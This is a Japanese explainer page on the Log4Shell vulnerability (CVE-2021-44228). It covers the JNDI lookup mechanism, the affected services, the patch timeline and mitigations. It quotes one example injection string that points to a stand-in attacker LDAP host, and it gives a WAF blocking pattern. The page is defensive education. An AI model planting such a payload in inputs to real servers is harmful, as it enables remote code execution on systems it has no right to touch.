← 脆弱性解説一覧
CRITICAL 10.0CVE-2021-44228 | 2021年12月

Log4Shell

Javaのログライブラリ「Log4j」に発見された、近年最大級の脆弱性。 Apple・Amazon・Twitterなど世界中のサービスに影響を与えた。


概要

Log4ShellはJavaの広く使われているログライブラリ「Apache Log4j 2」に存在したRCE(リモートコード実行)脆弱性です。 攻撃者は特殊な文字列をログに記録させるだけで、対象サーバー上で任意のコードを実行できました。 CVSSスコアは最大値の10.0で、影響を受けたシステムは数億台とも言われています。

攻撃の仕組み

Log4jにはJNDI(Java Naming and Directory Interface)という機能があり、 ログメッセージ内の特定の文字列を解釈して外部リソースを取得する機能がありました。

# 攻撃者が送り込む文字列の例
${jndi:ldap://attacker.com/exploit}

この文字列がログに記録されると、Log4jは攻撃者のサーバーに接続し、 悪意のあるJavaクラスをダウンロード・実行してしまいます。 ユーザーエージェントやメールアドレスなど、ログに記録されるあらゆる入力が攻撃経路になりました。

影響を受けたサービス

Apple iCloud
Amazon AWS
Twitter
Minecraft
Steam
Tesla
LinkedIn
Cloudflare
IBM

タイムライン

2021年11月24日
Alibaba CloudのセキュリティチームがApacheに報告
2021年12月9日
脆弱性がゼロデイとして公開・世界中で攻撃が始まる
2021年12月10日
Apache Log4j 2.15.0リリース(修正版)
2021年12月14日
2.15.0にも不完全な修正と判明、2.16.0リリース
2021年12月18日
さらに別の脆弱性発見、2.17.0リリース

対策

推奨Log4j を 2.17.1以上(Java 8)にアップデート
推奨Java 8u191以上にアップデートし、JNDI機能を無効化
緩和策log4j2.formatMsgNoLookups=true を設定
緩和策WAFで ${jndi: を含むリクエストをブロック

参考リンク

NVD - CVE-2021-44228Apache Log4j SecurityCISA Advisory